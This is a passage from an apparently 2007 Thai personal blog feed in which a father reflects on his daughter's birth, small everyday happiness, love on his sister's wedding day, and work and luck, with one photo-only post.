<p>เดิมทีสมัยที่ผมเพิ่งแต่งงานใหม่ๆ ผมเป็นคนที่อยากมีลูกมากๆ อาจจะเป็นเพราะว่าครอบครัวผมอบอุ่นมาก หรือเรียกได้ว่ามากที่สุด ซึ่งส่งผลให้ผมเป็นคนรักครอบครัว เมื่อแต่งงานมีครอบครัวเข้าจริงๆ ก็อยากจะมีสมาชิกตัวน้อยๆ เลย จะได้เป็นครอบครัวจริงๆ ซะที และแล้ววันหนึ่งครอบครัวผมก็สมบูรณ์ วันนั้นคำว่าพ่อคนได้เข้ามาเคาะประตูบ้านเบาๆ และบอกกับเราสองคน ผมกับแฟน ผ่านกระดาษลิตมัสที่เค้าใช้ตรวจการตั้งครรภ์ ว่าอีกไม่น่าจะเกินเก้าเดือน เราจะมีลูกแล้ว ผมไม่แน่ใจว่าตั้งแต่เกิดมาจนถึงอายุในขณะนั้น 27 ปี ที่ชีวิตมีแต่เรื่องดีๆ จะมีเรื่องไหนที่จะทำให้ดีใจได้เท่านี้ ชนิดที่ว่าความปิคิ ยินดี ไหลอาบเต็มสี่ห้องของหัวใจ วันนั้นผมจำไม่ได้แล้วว่าผมตัวใหญ่แค่ไหน เหมือนไฟทุกดวงส่องมาที่ผมเพียงคนเดียว สิ่งที่ยากอย่างเดียวในตอนนั้นคือ ผมจะกดโทรศัพท์บอกใครก่อนดี โทรหาคุณพ่อ หรือโทรหาคุณแม่ก่อน &#8230;</p>
<p>ผมไม่รู้ว่าจะบอกเล่าถึงความรู้สึกตอนที่เค้าเกิดได้อย่างไร ตอนที่เค้าจ้องหน้าผมครั้งแรกในชีวิต อาจจะบอกความรู้สึกผ่านสมการทางคณิตศาสตร์ได้ตามสูตรนี้</p>
<blockquote><p>ความรู้สึกตอนรู้ว่าตั้งครรภ์ x 10,000,000 = ความรู้สึกตอนที่เค้าเกิด</p></blockquote>
<p>ผมไม่คิดว่าเรื่องที่ว่า ความรักทำให้คนตาบอด จะใช้ได้กับความรักระหว่างพ่อกับลูกได้ วันนั้นน้ำตาผมมาจากไหนไม่ทราบ หรือถุงน้ำดี ตับ ม้าม ช่วยต่อมน้ำตาผลิตน้ำตากันก็ไม่รู้ ผมมีน้ำตาไหลอยู่ตลอด จนแสบตา แทบจะมองอะไรไม่เห็น ถ้ามันเป็นน้ำตาที่เกิดจากความสุขที่มี แสดงว่าปริมาณความสุขมันมากจนล้นเลยสินะ</p>
<p>เพราะแบบนี้ไงครับผมถึงยอมแลกกับที่เค้าว่า &#8220;มีลูกหนึ่งคนจะจนไปสิบแปดปี&#8221; ผมแลกด้วย &#8220;มีลูกหนึ่งคนร่ำรวยความสุขไปจนตาย&#8221; ผมไม่เถียงหรอกครับว่าภาระการดูแลลูกนั้นมันต้องแลกด้วยอะไรบ้าง ทั้งเรื่องของเงิน และเรื่องของเวลา ยอมรับครับว่าเหนื่อย ทั้งกายและใจจริงๆ  แต่เวลาที่คิดถึงเค้า ได้เห็นรูปเค้า พัฒนาการต่างๆ มันทำให้ผมหยัดยืนอยู่ทุกวันนี้ไงครับ ความรักของจอมขวัญเหมือนกับเป็นวัตถุดิบที่ทำให้ผมมีพลังที่จะจัดการสิ่งต่างๆในชีวิตที่เหลืออยู่นี้ให้ดีที่สุด สำหรับเค้า</p>
<p>วันที่ 1 สิงหาคม ผมต้องเปลี่ยนแปลงการดำเนินชีวิตอีกแล้ว ดูผิวเผินอาจจะเหมือนก้าวถอยหลัง แต่จริงๆ แล้ว ในความคิดผม มันก็ไม่เลวร้ายหรอก ถ้าจะถอยหลังไปยืนอยู่ตรงที่มันมั่นคงน่ะ</p>
]]></content:encoded>
			<wfw:commentRss>http://www.weloveblog.com/2007/07/31/love-is-the-source-of-life/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Happy is all around</title>
		<link>http://www.weloveblog.com/2007/07/29/happy-is-all-around/</link>
		<comments>http://www.weloveblog.com/2007/07/29/happy-is-all-around/#comments</comments>
		<pubDate>Sun, 29 Jul 2007 10:44:28 +0000</pubDate>
		<dc:creator>ทอม</dc:creator>
		
		<category><![CDATA[ความรัก]]></category>

		<category><![CDATA[พ่อคนหนึ่ง]]></category>

		<category><![CDATA[ตามมุมมอง]]></category>

		<guid isPermaLink="false">http://www.weloveblog.com/2007/07/29/happy-is-all-around/</guid>
		<description><![CDATA[ 
เชื่อไหมครับว่าความสุข เราสามารถแบ่งปันกันได้ ผมเชื่อนะ แล้วก็เชื่อมานานแล้วด้วย&#8230;
ความสุข เป็นความรู้สึกชนิดหนึ่งซึ่งส่วนใหญ่จะอยู่ในหมวดที่แสดงถึงความรู้สึกดีๆ แต่บางครั้ง ความสุข ก็ไปอยู่ผิดที่ ผิดทางกลายเป็น ความสุขบนความทุกข์ของคนอื่น หรือความสุขชั่ววูบ แต่ไม่ว่าจะอยู่ในรูปแบบใด ความสุขก็ยังเป็นความที่คนทุกคนต้องการ แล้วจะทำอย่างไรเราถึงจะได้ความสุขชิ้นโตมาครอบครองกันหละ
จริงๆ แล้วเราทุกคนรู้ดีว่า ความสุข นั้นมันก็อยู่รอบๆ ตัวเรานี่แหละ ผมรู้ และคุณก็รู้ อยู่ที่เราเองว่าเราจะจัดการกับสิ่งรอบตัวอย่างไรให้ได้รับความสุข ไม่ยากหรอกครับถ้าอยากมีความสุข แต่ถ้ามันเกิดยากขึ้นมา ก็ตัวเราเองนี่แหละที่มักจะทำให้มันยากกันไปเอง ยกตัวอย่างเรื่องที่ทำให้ผมมีความสุขเรื่องหนึ่ง เรื่องเล็กๆ ครับคุณรู้ไหมว่า มาม่าคัพ ถ้วยหนึ่งเนี้ยทำให้คนในครอบครัวผมสองคนมีความสุขได้ แม่ผมแลกซื้อมาด้วยเงินเพียง 9 บาท (จากราคาเต็ม 12 บาท) แม่ผมมีความสุขมากที่ประหยัดเงินไปถึง 3 บาท ปลาบปลื้มกันไป และตอนที่ผมกำลังพิมพ์เรื่องนี้อยู่ ผมก็เปิดฝากดน้ำร้อนใส่ รอให้ได้ที่ แล้วละเลียดอย่างเมามันส์ เพราะผมกำลังหิว ง่ายไหมครับ ความสุขจากเงิน 9 บาท จากมาม่าคัพ หนึ่งถ้วย เรื่องเล็กๆ แบบนี้ ความสุขเล็กๆ อย่าไปมองข้ามมันนะครับ
คุณเคยอยากได้โทรศัพท์มือถือใหม่ไหมครับ ผมนี่ตัวดีเลยหละ เบื่ออันเก่า อยากได้อันใหม่ เทคโนโลยีใหม่ๆ [...]]]></description>
			<content:encoded><![CDATA[<p> <img src="http://www.weloveblog.com/wp-content/uploads/2007/07/xx.jpg" alt="xx.jpg" /></p>
<p>เชื่อไหมครับว่าความสุข เราสามารถแบ่งปันกันได้ ผมเชื่อนะ แล้วก็เชื่อมานานแล้วด้วย&#8230;</p>
<p>ความสุข เป็นความรู้สึกชนิดหนึ่งซึ่งส่วนใหญ่จะอยู่ในหมวดที่แสดงถึงความรู้สึกดีๆ แต่บางครั้ง ความสุข ก็ไปอยู่ผิดที่ ผิดทางกลายเป็น ความสุขบนความทุกข์ของคนอื่น หรือความสุขชั่ววูบ แต่ไม่ว่าจะอยู่ในรูปแบบใด ความสุขก็ยังเป็นความที่คนทุกคนต้องการ แล้วจะทำอย่างไรเราถึงจะได้ความสุขชิ้นโตมาครอบครองกันหละ</p>
<p>จริงๆ แล้วเราทุกคนรู้ดีว่า ความสุข นั้นมันก็อยู่รอบๆ ตัวเรานี่แหละ ผมรู้ และคุณก็รู้ อยู่ที่เราเองว่าเราจะจัดการกับสิ่งรอบตัวอย่างไรให้ได้รับความสุข ไม่ยากหรอกครับถ้าอยากมีความสุข แต่ถ้ามันเกิดยากขึ้นมา ก็ตัวเราเองนี่แหละที่มักจะทำให้มันยากกันไปเอง ยกตัวอย่างเรื่องที่ทำให้ผมมีความสุขเรื่องหนึ่ง เรื่องเล็กๆ ครับคุณรู้ไหมว่า มาม่าคัพ ถ้วยหนึ่งเนี้ยทำให้คนในครอบครัวผมสองคนมีความสุขได้ แม่ผมแลกซื้อมาด้วยเงินเพียง 9 บาท (จากราคาเต็ม 12 บาท) แม่ผมมีความสุขมากที่ประหยัดเงินไปถึง 3 บาท ปลาบปลื้มกันไป และตอนที่ผมกำลังพิมพ์เรื่องนี้อยู่ ผมก็เปิดฝากดน้ำร้อนใส่ รอให้ได้ที่ แล้วละเลียดอย่างเมามันส์ เพราะผมกำลังหิว ง่ายไหมครับ ความสุขจากเงิน 9 บาท จากมาม่าคัพ หนึ่งถ้วย เรื่องเล็กๆ แบบนี้ ความสุขเล็กๆ อย่าไปมองข้ามมันนะครับ</p>
<p>คุณเคยอยากได้โทรศัพท์มือถือใหม่ไหมครับ ผมนี่ตัวดีเลยหละ เบื่ออันเก่า อยากได้อันใหม่ เทคโนโลยีใหม่ๆ เจ๋งๆ เคยไหมครับที่ดิ้นรนซื้อมาสนองตัณหาของตัวเองได้ แต่ต้องลำบากไปอีกหลายเดือนเลย สำหรับคนกระเป๋าหนักไม่ว่ากันครับ คุณคงไม่รู้สึกหรอก แต่สำหรับคนกระเป๋าไม่แน่นอนอย่างผมลำบากแน่ๆ ความสุขจากมือถือมีระยะเห่ออยู่ได้แค่ประมาณ 1-3 เดือนแรกเท่านั้นเอง หลังจากนั้นมันคือโทรศัพท์เก่า ที่เราเฉยๆ ความสุขตรงนี้หมดแล้ว เหลือแต่ความทุกข์กับค่างวดที่เหลือ&#8230; แบบนี้ผมเรียกว่าความสุขชั่ววูบเห็นด้วยไหมครับ แล้วถ้าผมไม่ซื้อใหม่ล่ะ ผมไม่มีความจำเป็นต้องเปลี่ยน  ผมอาจจะไม่ได้รับความสุขจากมือถือใหม่แต่ก็ไม่ต้องมีความทุกข์จากเงินที่หายไป</p>
<p>ความเห็นผมเองนะครับ ใครไม่เห็นด้วยก็คงไม่ผิดอะไร ผมอยากจะให้เรามองสิ่งที่อยู่รอบๆ ตัวเราอีกนิด คนที่อยู่ข้างๆ เราด้วย ทุกวันนี้ที่เราไล่กวาดสายตาที่มีวิสัยทัศน์อันเยี่ยมยอดของตัวเราเอง ออกไปเสาะหาสิ่งต่างๆ ไม่ว่าจะเป็น ทรัพย์สิน เงินทอง ที่จะมาบันดาลความสุขให้กับตัวเอง เคยถามตัวเองกันไหมครับว่าหาได้เท่าไหร่ถึงจะพอ ลองกลับมามองความสุขที่อยู่ใกล้ๆ ตัวเราก่อนดีไหม ความสุขง่ายๆ ที่เริ่มจากความคิดของเราเอง ดีไหมครับถ้าเราสามารถมีความสุขได้ทุกๆ วัน</p>
<p>บ่นอะไรซะเยอะเลย วันนี้ผมมีความสุขเล็กๆ มาแบ่งปันครับ ลองมาหยิบความสุขในแบบของผมกับลูกสาวจอมซน น้องจอมขวัญ ไปชิมลางดู ที่นี่นะครับ <a href="http://www.weloveblog.com/jom-gallery/">JOM&#8217;s Gallery</a> หรือคลิกจากเมนูด้านบนสุดของบล็อกก็ได้ ผมใช้เวลาทำให้เค้าด้วยความสุขครับ เป็นอัลบัมของเค้าตั้งแต่วันที่เค้าลืมตาดูโลก จนถึงปัจจุบันและจะพยายามอัพเดททุกเดือน ยินดีที่จะได้แบ่งปันให้ทุกๆ คนได้ชม บางทีความสุขที่คุณได้รับอาจจะทำให้เกิดอาการข้างเคียง เช่นการแอบอมยิ้มกับบางภาพของน้องจอมก็ได้นะ มีเพื่อนผมคนหนึ่งเคยพูดให้ผมฟังนานแล้วว่า</p>
<blockquote><p>เมื่อเราแสวงหา เราจะตกเป็นทาสของเป้าหมาย ใจที่เป็นอิสระเท่านั้น จึงจะพบคำตอบที่แท้จริง</p></blockquote>
<p>ตอนนี้ผมมีเป้าหมายที่เหมาะกับผมแล้ว ก้าวต่อไปของผม ผมจะก้าวไปพร้อมกับความสุขที่ผมเคยมองข้ามไป วันนี้ผมมีความสุขได้ทุกวันครับ อย่าลืมหยิบเอาความสุขเล็กๆ รอบๆ ตัวคุณวันนี้ ไปเป็นพลังที่จะทำให้เกิดความสุขใหญ่ๆ ต่อไปนะครับ </p>
]]></content:encoded>
			<wfw:commentRss>http://www.weloveblog.com/2007/07/29/happy-is-all-around/feed/</wfw:commentRss>
		</item>
		<item>
		<title>เล่าด้วยภาพ ตอน โลกมัว มัว ของเราสองคน</title>
		<link>http://www.weloveblog.com/2007/07/15/jom-lomo/</link>
		<comments>http://www.weloveblog.com/2007/07/15/jom-lomo/#comments</comments>
		<pubDate>Sun, 15 Jul 2007 11:48:21 +0000</pubDate>
		<dc:creator>ทอม</dc:creator>
		
		<category><![CDATA[ความรัก]]></category>

		<category><![CDATA[พ่อคนหนึ่ง]]></category>

		<category><![CDATA[ตามมุมมอง]]></category>

		<guid isPermaLink="false">http://www.weloveblog.com/2007/07/15/jom-lomo/</guid>
		<description><![CDATA[ย ย 
ย ย 
ย ย 
]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.weloveblog.com/wp-content/uploads/2007/07/02.jpg" title="{jom}" rel="lightbox[jom]"><img border="0" src="http://www.weloveblog.com/wp-content/uploads/2007/07/02.thumbnail.jpg" alt="02.jpg" title="02.jpg" /></a>ย <a href="http://www.weloveblog.com/wp-content/uploads/2007/07/01.jpg" title="{jom}" rel="lightbox[jom]"><img border="0" src="http://www.weloveblog.com/wp-content/uploads/2007/07/01.thumbnail.jpg" alt="01.jpg" title="01.jpg" /></a>ย <a href="http://www.weloveblog.com/wp-content/uploads/2007/07/03.jpg" title="{jom}" rel="lightbox[jom]"><img border="0" src="http://www.weloveblog.com/wp-content/uploads/2007/07/03.thumbnail.jpg" alt="03.jpg" title="03.jpg" /></a></p>
<p><a href="http://www.weloveblog.com/wp-content/uploads/2007/07/04.jpg" title="{jom}" rel="lightbox[jom]"></a><a href="http://www.weloveblog.com/wp-content/uploads/2007/07/10.jpg" title="{jom}" rel="lightbox[jom]"><img border="0" src="http://www.weloveblog.com/wp-content/uploads/2007/07/10.thumbnail.jpg" alt="10.jpg" title="10.jpg" /></a>ย <a href="http://www.weloveblog.com/wp-content/uploads/2007/07/05.jpg" title="{jom}" rel="lightbox[jom]"><img border="0" src="http://www.weloveblog.com/wp-content/uploads/2007/07/05.thumbnail.jpg" alt="05.jpg" title="05.jpg" /></a>ย <a href="http://www.weloveblog.com/wp-content/uploads/2007/07/06.jpg" title="{jom}" rel="lightbox[jom]"><img border="0" src="http://www.weloveblog.com/wp-content/uploads/2007/07/06.thumbnail.jpg" alt="06.jpg" title="06.jpg" /></a></p>
<p><a href="http://www.weloveblog.com/wp-content/uploads/2007/07/07.jpg" title="{jom}" rel="lightbox[jom]"><img border="0" src="http://www.weloveblog.com/wp-content/uploads/2007/07/07.thumbnail.jpg" alt="07.jpg" title="07.jpg" /></a>ย <a href="http://www.weloveblog.com/wp-content/uploads/2007/07/08.jpg" title="{jom}" rel="lightbox[jom]"><img border="0" src="http://www.weloveblog.com/wp-content/uploads/2007/07/08.thumbnail.jpg" alt="08.jpg" title="08.jpg" /></a>ย <a href="http://www.weloveblog.com/wp-content/uploads/2007/07/09.jpg" title="{jom}" rel="lightbox[jom]"><img border="0" src="http://www.weloveblog.com/wp-content/uploads/2007/07/09.thumbnail.jpg" alt="09.jpg" title="09.jpg" /></a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.weloveblog.com/2007/07/15/jom-lomo/feed/</wfw:commentRss>
		</item>
		<item>
		<title>love is&#8230;</title>
		<link>http://www.weloveblog.com/2007/07/09/love-is/</link>
		<comments>http://www.weloveblog.com/2007/07/09/love-is/#comments</comments>
		<pubDate>Mon, 09 Jul 2007 05:04:32 +0000</pubDate>
		<dc:creator>ทอม</dc:creator>
		
		<category><![CDATA[ความรัก]]></category>

		<category><![CDATA[ตามมุมมอง]]></category>

		<guid isPermaLink="false">http://www.weloveblog.com/2007/07/10/love-is/</guid>
		<description><![CDATA[ 
&#8220;ความรักทำให้คนตาบอด&#8221; ใครเป็นคนบัญญัติคำๆ นี้ขึ้นมาในโลกของความรัก คงจะมีน้อยคนนักที่จะรู้ แต่ที่เดาเอาง่ายๆ คือ คนผู้นี้ต้องมีความรักที่ไม่สมหวังแน่ๆ
ในบรรดาความรู้สึกต่างๆ ของคนเราปกติ ความรักดูจะเป็นความที่มีผู้ให้ความหมายต่างๆ นาๆ มากที่สุดก็ว่าได้ เช่นที่กล่าวไปในย่อหน้าแรก &#8220;ความรักทำให้คนตาบอด&#8221; หรือลองคิดกันเล่นๆ &#8220;ความรักคือความเข้าใจ&#8221; เอาอีก &#8220;ความรักคือการเสียสละ&#8221; &#8220;ความรักคือการให้โดยไม่หวังสิ่งตอบแทน&#8221; หรือถ้าเป็นผม ผมจะจำกัดความว่า ความรักคือการเรียนรู้ของชีวิตอย่างหนึ่ง..
คนเราเกิดมาต้องมีอย่างน้อยสักครั้งหนึ่งสำหรับการได้สัมผัสกับความรัก หรือน่าจะพูดได้ว่าคนเรามีความรักเหมือนกันทุกคน และแต่ละคนก็มีความรักที่แตกต่างกันออกไป ความรักสำหรับบางคนคือยาขมที่กินเข้าไปทุกครั้งต้องรู้สึกขยาด สำหรับบางคนความรักอาจจะเป็นน้ำผึ้งหวาน ที่ชวนให้เคลิ้มไปอย่างมีความสุข
น่าเสียดายที่ความรักไม่สามารถชั่งน้ำหนักได้ เราจะใช้หน่วยวัดใดๆ ในโลกนี้ชั่ง ตวง วัด ความรักได้บ้างนะ จะได้บอกกันให้แจ่มๆ กันไปเลยว่า &#8220;ผมรักคุณมากนะ เป็นจำนวน 100,000 ลูกบาศเมตร&#8221; หรือ &#8220;ถ้าคุณรักฉันไม่ถึง 2,000 ตารางกิโลเมตร ฉันจะไม่แต่งงานกับคุณ&#8221; แต่สำหรับบางคนอาจจะบอกว่า &#8220;แม้ว่าคุณรักผมเพียง 1 นาโนเมตร ผมก็จะยังรักคุณด้วยจำนวน  100,000 บาเรล&#8221; ที่น่าแปลกก็คือ ถึงความรักจะไม่สามารถชั่ง ตวง วัด เป็นหน่วยใดๆ ได้ แต่คนส่วนใหญ่ก็สามารถที่จะใช้หัวใจวัดปริมาณความรักอย่างคร่าวๆ [...]]]></description>
			<content:encoded><![CDATA[<p> <img src="http://www.weloveblog.com/wp-content/uploads/2007/07/5_14.jpg" alt="5_14.jpg" /></p>
<p>&#8220;ความรักทำให้คนตาบอด&#8221; ใครเป็นคนบัญญัติคำๆ นี้ขึ้นมาในโลกของความรัก คงจะมีน้อยคนนักที่จะรู้ แต่ที่เดาเอาง่ายๆ คือ คนผู้นี้ต้องมีความรักที่ไม่สมหวังแน่ๆ</p>
<p>ในบรรดาความรู้สึกต่างๆ ของคนเราปกติ ความรักดูจะเป็นความที่มีผู้ให้ความหมายต่างๆ นาๆ มากที่สุดก็ว่าได้ เช่นที่กล่าวไปในย่อหน้าแรก &#8220;ความรักทำให้คนตาบอด&#8221; หรือลองคิดกันเล่นๆ &#8220;ความรักคือความเข้าใจ&#8221; เอาอีก &#8220;ความรักคือการเสียสละ&#8221; &#8220;ความรักคือการให้โดยไม่หวังสิ่งตอบแทน&#8221; หรือถ้าเป็นผม ผมจะจำกัดความว่า ความรักคือการเรียนรู้ของชีวิตอย่างหนึ่ง..</p>
<p>คนเราเกิดมาต้องมีอย่างน้อยสักครั้งหนึ่งสำหรับการได้สัมผัสกับความรัก หรือน่าจะพูดได้ว่าคนเรามีความรักเหมือนกันทุกคน และแต่ละคนก็มีความรักที่แตกต่างกันออกไป ความรักสำหรับบางคนคือยาขมที่กินเข้าไปทุกครั้งต้องรู้สึกขยาด สำหรับบางคนความรักอาจจะเป็นน้ำผึ้งหวาน ที่ชวนให้เคลิ้มไปอย่างมีความสุข</p>
<p>น่าเสียดายที่ความรักไม่สามารถชั่งน้ำหนักได้ เราจะใช้หน่วยวัดใดๆ ในโลกนี้ชั่ง ตวง วัด ความรักได้บ้างนะ จะได้บอกกันให้แจ่มๆ กันไปเลยว่า &#8220;ผมรักคุณมากนะ เป็นจำนวน 100,000 ลูกบาศเมตร&#8221; หรือ &#8220;ถ้าคุณรักฉันไม่ถึง 2,000 ตารางกิโลเมตร ฉันจะไม่แต่งงานกับคุณ&#8221; แต่สำหรับบางคนอาจจะบอกว่า &#8220;แม้ว่าคุณรักผมเพียง 1 นาโนเมตร ผมก็จะยังรักคุณด้วยจำนวน  100,000 บาเรล&#8221; ที่น่าแปลกก็คือ ถึงความรักจะไม่สามารถชั่ง ตวง วัด เป็นหน่วยใดๆ ได้ แต่คนส่วนใหญ่ก็สามารถที่จะใช้หัวใจวัดปริมาณความรักอย่างคร่าวๆ ได้ ถึงจะไม่เที่ยงตรงกันทุกคนก็เถอะ</p>
<p>ใจของคนเรานี่ไวต่อเรื่องรักๆ ใคร่ๆ มาก ใจของใครไวผิดปกติเรามักจะเรียก คนๆ นั้นว่าเป็นคนใจง่าย หากคุณทำร้ายความรักของใครสักคน ก็เหมือนคุณทำให้หัวใจเค้าต้องสลาย ต้องปวดใจ เอาแค่ตัวอย่างง่ายๆ เท่านี้ เราก็รู้แล้วว่าหัวใจกับความรักเป็นสิ่งที่คู่กัน เวลาที่หัวใจของเราวัดปริมาณความรักจากใครสักคนที่เป็นคนพิเศษ ก็อย่าลืมวัดให้สม่ำเสมอ เพราะว่าน้อยนักที่จะเท่ากันทุกวัน ของแบบนี้มีขึ้นมีลง ถึงจะไม่เท่ากับตารางหุ้นของบ้านเราก็เถอะ ถึงจะขึ้นๆ ลงๆ แต่คนที่รักกันจริงๆ ส่วนใหญ่ เวลาปริมาณความรักวันไหนลดลงต่ำสุดก็ไม่น่าจะเกินแนวต้านของความรัก แต่ถ้าต่ำกว่านั้นก็พิจารณากันเอาเองแล้วกัน ปริมาณความรักที่หัวจิตหัวใจของคนเราตรวจจับได้นั้น ไม่ได้วัดจากความรักโดยตรงแต่วัดผ่านตัวกลาง ตัวกลางที่ดีที่สุดก็คือ การกระทำของคนเรานั่นเอง ซึ่งค่าความเที่ยงตรงของแต่ละคนก็แตกต่างกันไป</p>
<p>ในชีวิตประจำวันเราจะเห็นว่า เรื่องความรักที่เราได้รับรู้มารอบๆ ตัวนั้น มักจะมีอยู่สองแบบเสมอ คือ สมหวัง กับ ผิดหวัง ซึ่งแน่นอนว่าไม่มีใครอยากผิดหวัง ทุกๆ คนก็อยากจะสมหวัง เมื่อสมหวังแล้วจะรักกันไปตลอดรอดฝั่ง หรือที่หนังจีนเค้าว่า รักกันจนถือไม้เท้ายอดทอง กระบองยอดเพชร ได้หรือไม่นั้น คำตอบคงจะอยู่ที่คู่พระคู่นาง ของเรื่องราวชีวิตคู่ของแต่ละคน คงไม่มีใครที่จะบอกได้</p>
<p>ความรักคือการเรียนรู้อย่างหนึ่งของชีวิต ในชีวิตหนึ่งคนเราอาจจะเรียนรู้ได้หลายครั้ง ผมเองก็เป็นคนหนึ่งที่เรียนรุ้แบบไปไม่ถึงไหน ผมเคยผ่านจุดสูงสุดเรื่องความรักถึงขั้นแต่งงาน ตอนนี้ผมไม่แน่ใจว่าเคยอยู่จุดที่ต่ำสุดหรือยัง วันนี้หัวใจผมไม่มีความสามารถที่จะวัดปริมาณความรักจากใครได้อีก เพราะชำรุดมาจากการเจอตัวกลางที่มีค่าความเที่ยงตรงต่ำบ่อยๆ</p>
<p>วันนี้เป็นวันที่น้องสาวผมแต่งงาน ซึ่งผมกับที่บ้านไม่ได้ไปหรอกครับ เป็นงานแต่งงานที่มีระยะทางหลายร้อยไมล์กั้น ผมเลยอยากเขียนถึงเรื่องราวความรักที่ดีๆ กับเค้าบ้าง สุดท้ายออกมาแนวนี้อีกแล้ว ก็เอาเป็นว่า ขอให้น้องสาวผมมีความสุขกับการแต่งงาน ดูแลกันให้ดี เคารพซึ่งกันและกัน จำไว้ว่าชีวิตคือการต่อสู้ ชีวิตเราจะดีได้ถ้ามีใครสักคนเป็นคู่คิด และเป็นกำลังใจที่ดี&#8230;.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.weloveblog.com/2007/07/09/love-is/feed/</wfw:commentRss>
		</item>
		<item>
		<title>เรื่องน่าแปลกที่ไม่แปลกหน้า</title>
		<link>http://www.weloveblog.com/2007/06/18/miracle-not-stranger/</link>
		<comments>http://www.weloveblog.com/2007/06/18/miracle-not-stranger/#comments</comments>
		<pubDate>Sun, 17 Jun 2007 18:06:23 +0000</pubDate>
		<dc:creator>ทอม</dc:creator>
		
		<category><![CDATA[ตามมุมมอง]]></category>

		<guid isPermaLink="false">http://www.weloveblog.com/2007/06/18/miracle-not-stranger/</guid>
		<description><![CDATA[
วันอาทิตย์วันที่ถูกเหมาจากคนหมู่มากว่าวันนี้คือวันหยุดพักผ่อน สำหรับผมแล้วเกือบทุกวันอาทิตย์ไม่เหมือนวันหยุดพักผ่อนสักเท่าไหร่ ถ้าจะบอกว่าเป็นวันที่ต้องคิดเรื่องงาน ลงมือทำงาน น้อยกว่าทุกๆ วัน ดูจะเหมาะดีกว่า ไม่น่าเชื่อเลยว่า ภาระหน้าที่ในการทำงาน มันจะเข้ามาตีสนิทกับชีวิตของผมได้อย่างสนิทสนมมาก และรวดเร็วถึงเพียงนี้ นึกถึงเมื่อครั้งที่ยังเป็นนักศึกษา อืม ย้อนไปสัก หกถึงเจ็ดปี ความรู้สึกยังเหมือนประมาณเมื่อวานซืนนี้เอง ผมกับภาระหน้าที่ การทำงานต่างๆ เรายังเหมือนคนแปลกหน้าสำหรับกันและกันอยู่เลย
น่าแปลกที่แปลกกว่าแปลกหน้าก็คือ ภาระหน้าที่การงาน อุปสรรคต่างๆ แรงกดดันเสียดสี ผมก็สนิทสนม คุ้นชินกับมันราวกับเป็นญาติผู้ใหญ่ แต่สำหรับความสำเร็จในสิ่งที่ผมตั้งตารอ มันก็ยังไม่ยอมนับญาติกับผมเสียที หลายครั้งผมเคยได้ยินมาว่า การทำงานให้สำเร็จนอกจากความขยัน สู้งาน แล้วยังจะต้องมีเรื่องของโชคเข้ามาเกี่ยวข้องด้วย คุณอาจจะเคยเห็นคนบางคนทำอะไรก็ดูจะราบรื่น สำเร็จไปได้ด้วยดี กลับอีกคนที่ทำอย่างเดียวกัน แต่กลับล้มไปไม่เป็นท่า แบบนี้เพราะ มีโชค กับไม่มีโชค หรือปล่าว? 
เคยมีงานวิจัยของสถาบันโกวซิหมี่ คอลเลจ ประเทศจีน ถ้าจำไม่ผิดเจ้าของผลงานวิจัยชื่อ Dr.Sing Yord Sian (อ่านว่า ซิง ยอด เซียน) เค้าทำวิจัยเรื่องปัจจัยที่ทำให้ธุรกิจประสบความสำเร็จ ในงานวิจัยระบุไว้ว่า ในบรรดา &#8220;ความ&#8221; ต่างๆ ที่พึงต้องมีในการทำธุรกิจ [...]]]></description>
			<content:encoded><![CDATA[<p><img id="image158" height=137 width=500 alt=P6086650.jpg src="http://www.weloveblog.com/wp-content/uploads/2007/06/P6086650.jpg" /></p>
<p>วันอาทิตย์วันที่ถูกเหมาจากคนหมู่มากว่าวันนี้คือวันหยุดพักผ่อน สำหรับผมแล้วเกือบทุกวันอาทิตย์ไม่เหมือนวันหยุดพักผ่อนสักเท่าไหร่ ถ้าจะบอกว่าเป็นวันที่ต้องคิดเรื่องงาน ลงมือทำงาน น้อยกว่าทุกๆ วัน ดูจะเหมาะดีกว่า ไม่น่าเชื่อเลยว่า ภาระหน้าที่ในการทำงาน มันจะเข้ามาตีสนิทกับชีวิตของผมได้อย่างสนิทสนมมาก และรวดเร็วถึงเพียงนี้ นึกถึงเมื่อครั้งที่ยังเป็นนักศึกษา อืม ย้อนไปสัก หกถึงเจ็ดปี ความรู้สึกยังเหมือนประมาณเมื่อวานซืนนี้เอง ผมกับภาระหน้าที่ การทำงานต่างๆ เรายังเหมือนคนแปลกหน้าสำหรับกันและกันอยู่เลย</p>
<p>น่าแปลกที่แปลกกว่าแปลกหน้าก็คือ ภาระหน้าที่การงาน อุปสรรคต่างๆ แรงกดดันเสียดสี ผมก็สนิทสนม คุ้นชินกับมันราวกับเป็นญาติผู้ใหญ่ แต่สำหรับความสำเร็จในสิ่งที่ผมตั้งตารอ มันก็ยังไม่ยอมนับญาติกับผมเสียที หลายครั้งผมเคยได้ยินมาว่า การทำงานให้สำเร็จนอกจากความขยัน สู้งาน แล้วยังจะต้องมีเรื่องของโชคเข้ามาเกี่ยวข้องด้วย คุณอาจจะเคยเห็นคนบางคนทำอะไรก็ดูจะราบรื่น สำเร็จไปได้ด้วยดี กลับอีกคนที่ทำอย่างเดียวกัน แต่กลับล้มไปไม่เป็นท่า แบบนี้เพราะ มีโชค กับไม่มีโชค หรือปล่าว? </p>
<p>เคยมีงานวิจัยของสถาบันโกวซิหมี่ คอลเลจ ประเทศจีน ถ้าจำไม่ผิดเจ้าของผลงานวิจัยชื่อ Dr.Sing Yord Sian (อ่านว่า ซิง ยอด เซียน) เค้าทำวิจัยเรื่องปัจจัยที่ทำให้ธุรกิจประสบความสำเร็จ ในงานวิจัยระบุไว้ว่า ในบรรดา &#8220;ความ&#8221; ต่างๆ ที่พึงต้องมีในการทำธุรกิจ หรือในการทำงานต่างๆ เช่น ความรู้ ความขยัน ความอดทน ความเอาใจใส่ ความที่สำคัญที่สุดคือ &#8220;ความมีโชค&#8221; นั่นเอง โดยได้ตัวเลข 52% เป็นตัวชี้วัดถึงความสำคัญของ &#8220;ความ&#8221; นี้ ที่ได้จากการทดลอง ทีนี้ปัญหาคือเราจะไปหา &#8220;ความมีโชค&#8221; ได้จากไหนล่ะ?</p>
